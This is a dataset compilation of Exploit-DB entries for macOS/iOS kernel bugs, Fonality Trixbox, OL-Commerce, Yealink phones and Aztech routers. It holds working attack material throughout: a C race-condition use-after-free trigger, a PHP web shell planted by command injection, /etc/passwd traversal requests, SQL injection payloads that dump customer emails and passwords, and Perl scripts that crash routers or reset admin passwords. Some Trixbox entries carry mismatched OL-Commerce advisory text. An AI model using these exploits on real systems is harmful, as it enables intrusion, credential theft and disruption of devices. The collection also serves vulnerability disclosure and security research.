QLWD/code_shield huggingface dataset:
标题: Apple Mac OSX - io_service_close Use-After-Free EDB-ID: 39367 CVE: 2016-1720 类型: DOS 平台: OSX 发布日期: 2016-01-28 漏洞利用脚本: /*
Source: https://code.google.com/p/google-security-research/issues/detail?id=597

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/

// ianbeer

// clang -o ioparallel_close ioparallel_close.c -lpthread -framework IOKit
/*
io_service_close leads to potentially dangerous IOKit methods being called without locks

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

void close_it(io_connect_t conn) {
  IOServiceClose(conn);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  close_it(*(io_connect_t*)arg);
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 4;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  io_connect_t arg = conn;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  usleep(100000);

  start = 1;

  close_it(conn);

  pthread_join(t, NULL);

  return 0;
} URL: https://www.exploit-db.com/exploits/39367
标题: Fonality trixbox - 'index.php' Remote Code Execution EDB-ID: 39352 CVE: 2014-5112 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
        
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
        
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/home/index.php?lang=MF;echo "<?php
system(\$_GET['cmd']);?> \$Greats 2 MY=\"Love:D">shell.php

Your Shell

Http://www.example.com/maint/modules/home/shell.php?cmd=id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk) $Greats 2
MY="Love:D URL: https://www.exploit-db.com/exploits/39352
标题: Apple Mac OSX / iOS - Unsandboxable Kernel Code Exection Due to iokit Double Release in IOKit EDB-ID: 39357 CVE: 2015-7084 类型: DOS 平台: OSX 发布日期: 2016-01-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=620

I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC
which gets RIP on OS X. The same techniques should transfer smoothly to iOS :)

The bug is here:

void IORegistryIterator::reset( void )
{
    while( exitEntry())
    {}
    
    if( done) {
        done->release();
        done = 0;
    }
    
    where->current = root;
    options &= ~kIORegistryIteratorInvalidFlag;
}

We can call this from userspace via the IOIteratorReset method.

done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads
to both see the same value of done, one will free it but before it sets done to NULL the other will
call ->release on the now free'd OSOrderedSet.

How to get instruction pointer control?

The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees
done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword
with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten
with a valid pointer pointing to the last object freed to this zone. If we can control that object then
the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base
of all IOKit objects including OSOrderedSet.)

This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which
puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control.

I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the
PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) )

As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and
unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the
vtable pointer.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39357.zip URL: https://www.exploit-db.com/exploits/39357
标题: iOS Kernel - AppleOscarAccelerometer Use-After-Free EDB-ID: 39360 CVE: 2016-1719 类型: DOS 平台: IOS 发布日期: 2016-01-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=607

Panic log attached

OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39360.zip URL: https://www.exploit-db.com/exploits/39360
标题: iOS Kernel - AppleOscarGyro Use-After-Free EDB-ID: 39359 CVE: 2016-1719 类型: DOS 平台: IOS 发布日期: 2016-01-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=608

Panic log attached

OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39359.zip URL: https://www.exploit-db.com/exploits/39359
标题: Fonality trixbox - 'asterisk_info.php' Directory Traversal EDB-ID: 39349 CVE: 2014-5111 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
     
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/asterisk_info/asterisk_info.php?lang=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/39349
标题: Fonality trixbox - 'index.php' Directory Traversal EDB-ID: 39348 CVE: 2014-5111 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
    
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/home/index.php?lang=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/39348
标题: iOS Kernel - AppleOscarCompass Use-After-Free EDB-ID: 39361 CVE: 2016-1719 类型: DOS 平台: IOS 发布日期: 2016-01-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=606

Panic log attached

OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39361.zip URL: https://www.exploit-db.com/exploits/39361
标题: Fonality trixbox - 'endpointcfg.php' Directory Traversal EDB-ID: 39351 CVE: 2014-5111 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
       
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/39351
标题: Fonality trixbox - 'repo.php' Directory Traversal EDB-ID: 39350 CVE: 2014-5111 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
      
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

Http://www.example.com/maint/modules/repo/repo.php?lang=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/39350
标题: iOS Kernel - AppleOscarCMA Use-After-Free EDB-ID: 39362 CVE: 2016-1719 类型: DOS 平台: IOS 发布日期: 2016-01-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=605

Panic log attached

OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39362.zip URL: https://www.exploit-db.com/exploits/39362
标题: OL-Commerce - '/OL-Commerce/admin/create_account.php?entry_country_id' SQL Injection EDB-ID: 39346 CVE: 2014-5104 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
   
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/OL-Commerce/admin/create_account.php?action=edit

POST /OL-Commerce/admin/create_account.php?action=edit  HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 301

default_address_id=&customers_gender=m&csID=100&customers_firstname=aaaa
&customers_lastname=bbbb&customers_email_address=email@hotmail.com
&entry_company=cccc&customers_vat_id=1212&entry_street_address=dddd
&entry_postcode=00961&entry_city=eeee&entry_country_id=118[SQL INJECTION]
&customers_telephone=12121233&customers_fax=23421424&status=0
&customers_mail=yes&payment_unallowed=&shipping_unallowed=
&entry_password=12121212&mail_comments=

[NOTE]
------
entry_country_id=118[SQL INJECTION]=118' and (select 1 from (select
count(*),concat((select(select
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1-- - URL: https://www.exploit-db.com/exploits/39346
标题: OL-Commerce - '/OL-Commerce/affiliate_signup.php?a_country' SQL Injection EDB-ID: 39343 CVE: 2014-5104 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info

ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/OL-Commerce/affiliate_signup.php

POST /OL-Commerce/affiliate_signup.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/o/affiliate_signup.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 629

action=process&a_gender=m&a_firstname=haha&a_lastname=hahasdf&a_dob=457689
&a_email_address=email@hotmail.com&a_company=iiiiii&a_company_taxid=12
&a_payment_check=jjjjjj&a_payment_paypal=email@hotmail.com
&a_payment_bank_name=paypal
&a_payment_bank_branch_number=555555&a_payment_bank_swift_code=444444
&a_payment_bank_account_name=qqqqqq&a_payment_bank_account_number=3333333
&a_street_address=ddddddd&a_suburb=ccccccf&a_postcode=00961&a_city=bbbbbb
&a_country=118[SQL
INJECTION]&a_state=aaaaaa&a_telephone=22222222&a_fax=11111111&
a_homepage=http://iphobos.com/blog&a_password=12121212
&a_confirmation=12121212&a_agb=1&x=65&y=3


[NOTE]
------
a_country=118[SQL INJECTION]=118' and 1=2 union all select
group_concat(customers_id,0x3a,customers_email_address,0x3a,customers_password)+from+customers-- URL: https://www.exploit-db.com/exploits/39343
标题: Yealink VoIP Phones - '/servlet' HTTP Response Splitting EDB-ID: 39334 CVE: 2014-3427 类型: WEBAPPS 平台: JAVA 发布日期: 2014-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/68022/info

Yealink VoIP Phones are prone to an HTTP-response-splitting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Yealink VoIP Phones firmware 28.72.0.2 and hardware 28.2.0.128.0.0.0 are vulnerable; other versions may also be affected. 

GET /servlet?linepage=1&model=%0d%0a[Header]&p=dsskey&q=load URL: https://www.exploit-db.com/exploits/39334
标题: OL-Commerce - '/OL-Commerce/affiliate_show_banner.php?affiliate_banner_id' SQL Injection EDB-ID: 39344 CVE: 2014-5104 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
 
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 


http://www.example.com/OL-Commerce/affiliate_show_banner.php?ref=1&affiliate_banner_id=1[SQL INJECTION] URL: https://www.exploit-db.com/exploits/39344
标题: OL-Commerce - '/OL-Commerce/create_account.php?country' SQL Injection EDB-ID: 39345 CVE: 2014-5104 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68719/info
  
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/OL-Commerce/create_account.php

POST /OL-Commerce/create_account.php  HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/OL-Commerce/create_account.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 301


action=process&gender=m&firstname=aaaaa&lastname=bbbb
&dob=17.05.1991&email_address=email@hotmail.com
&company=ccc&vat=1234&street_address=dddd&suburb=eeee
&postcode=00961&city=fffff&state=gggggg
&country=118[SQL
INJECTION]&telephone=45345325&fax=234234&password=12121212&confirmation=12121212&x=28&y=4

[NOTE]
------
country=118[SQL INJECTION]=118' and (select 1 from (select
count(*),concat((select(select
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1-- - URL: https://www.exploit-db.com/exploits/39345
标题: Fonality trixbox - 'endpoint_generic.php' SQL Injection EDB-ID: 39347 CVE: 2014-5109 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/68720/info

Trixbox is prone to the following security vulnerabilities:

1. An SQL-injection vulnerability
2. A cross-site scripting vulnerability
3. Multiple local file-include vulnerabilities
4. A remote code-execution vulnerability

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, to steal cookie-based authentication credentials, exploit latent vulnerabilities in the underlying database or perform certain unauthorized actions and gain access to the affected application. 

Http://www.example.com/maint/modules/endpointcfg/endpoint_generic.php?action=Submit&mac=1' and 1=2 union select 1,2,3,4,5,6-- - URL: https://www.exploit-db.com/exploits/39347
标题: Aztech Routers - '/cgi-bin/AZ_Retrain.cgi' Denial of Service EDB-ID: 39315 CVE: 2014-6435 类型: DOS 平台: HARDWARE 发布日期: 2014-09-15 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/69809/info

Multiple Aztech routers are prone to a denial-of-service vulnerability.

Attackers may exploit this issue to cause an affected device to crash, resulting in a denial-of-service condition.

Aztech DSL5018EN, DSL705E and DSL705EU are vulnerable. 
*/

#!/usr/bin/perl
use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Denial of Service Attack\n";
print "++ Usage: perl $0 TARGET:PORT\n";
print "++ Ex: perl $0 192.168.254.254:80\n\n";
exit;
}

my $TARGET = $ARGV[0];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "%2f%63%67%69%2d%62%69%6e%2f%41%5a%5f%52%65%74%72%61%69%6e%2e%63%67%69";

system ('clear');
print "---------------------------------------------\n";
print "++ Resetting WAN modem $TARGET\n";

my $POST = "GET $PATH HTTP/1.1";
my $ACCEPT = "Accept: text/html";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n\n";
print "++ Sent. The modem should be disconnected by now.\n";
$sock->close();

exit; URL: https://www.exploit-db.com/exploits/39315
标题: Aztech Modem Routers - Session Hijacking EDB-ID: 39316 CVE: 2014-6436 类型: REMOTE 平台: HARDWARE 发布日期: 2014-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/69811/info

Multiple Aztech Modem Routers are prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain unauthorized access to the affected device. 

#!/usr/bin/perl
# Title: Aztech Modem Broken Session Management Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com 
#
# A successful authentication of a privilege (admin) ID in the
# web portal allows any attacker in the network to hijack and
# reuse the existing session in order to trick and allow the web
# server to execute administrative commands. The command may be
# freely executed from any terminal in the network as long as
# the session of the privilege ID is valid. The below PoC shows 
# an un-authenticated request to the web server for an administrator 
# and user password reset.
#
# This exploit was tested working with the following modems:
# - DSL5018EN(1T1R) from Globe Telecom
# - DSL705E
# - DSL705EU

use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Broken Session Management Exploit\n";
print "++ Usage: perl $0 TARGET:PORT NEWPASSWORD\n";
print "++ Ex: perl $0 192.168.254.254:80 h4rh4rHaR\n\n";
exit;
}

my $TARGET = $ARGV[0];
my $NEWPASS = $ARGV[1];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "/cgi-bin/admAccess.asp";

system ('clear');
print "---------------------------------------------\n";
print "++ Sending POST string to $TARGET ...\n";

my $PAYLOAD = "saveFlag=1&adminFlag=1&SaveBtn=SAVE&uiViewTools_Password=$NEWPASS&uiViewTools_PasswordConfirm=$NEWPASS&uiViewTools_Password1=$NEWPASS&uiViewTools_PasswordConfirm1=$NEWPASS";
my $POST = "POST $PATH HTTP/1.1";

my $ACCEPT = "Accept: text/html, application/xhtml+xml, */*";
my $REFERER = "Referer: http://$HOST/cgi-bin/admAccess.asp";
my $LANG = "Accept-Language: en-US";
my $AGENT = "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25";
my $CONTYPE = "Content-Type: application/x-www-form-urlencoded";
my $ACENCODING = "Accept-Encoding: gzip, deflate";
my $PROXYCONN = "Proxy-Connection: Keep-Alive";
my $CONNLENGTH = "Content-Length: 179";
my $DNT = "DNT: 1";
my $TARGETHOST = "Host: $HOST";
my $PRAGMA = "Pragma: no-cache";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n";
print $sock "$REFERER\n";
print $sock "$LANG\n";
print $sock "$AGENT\n";
print $sock "$CONTYPE\n";
print $sock "$ACENCODING\n";
print $sock "$PROXYCONN\n";
print $sock "$CONNLENGTH\n";
print $sock "$DNT\n";
print $sock "$TARGETHOST\n";
print $sock "$PRAGMA\n\n";
print $sock "$PAYLOAD\n";

print "++ Sent. Connect to the web URL http://$HOST with user:admin password:$NEWPASS\n";
$sock->close();
exit; URL: https://www.exploit-db.com/exploits/39316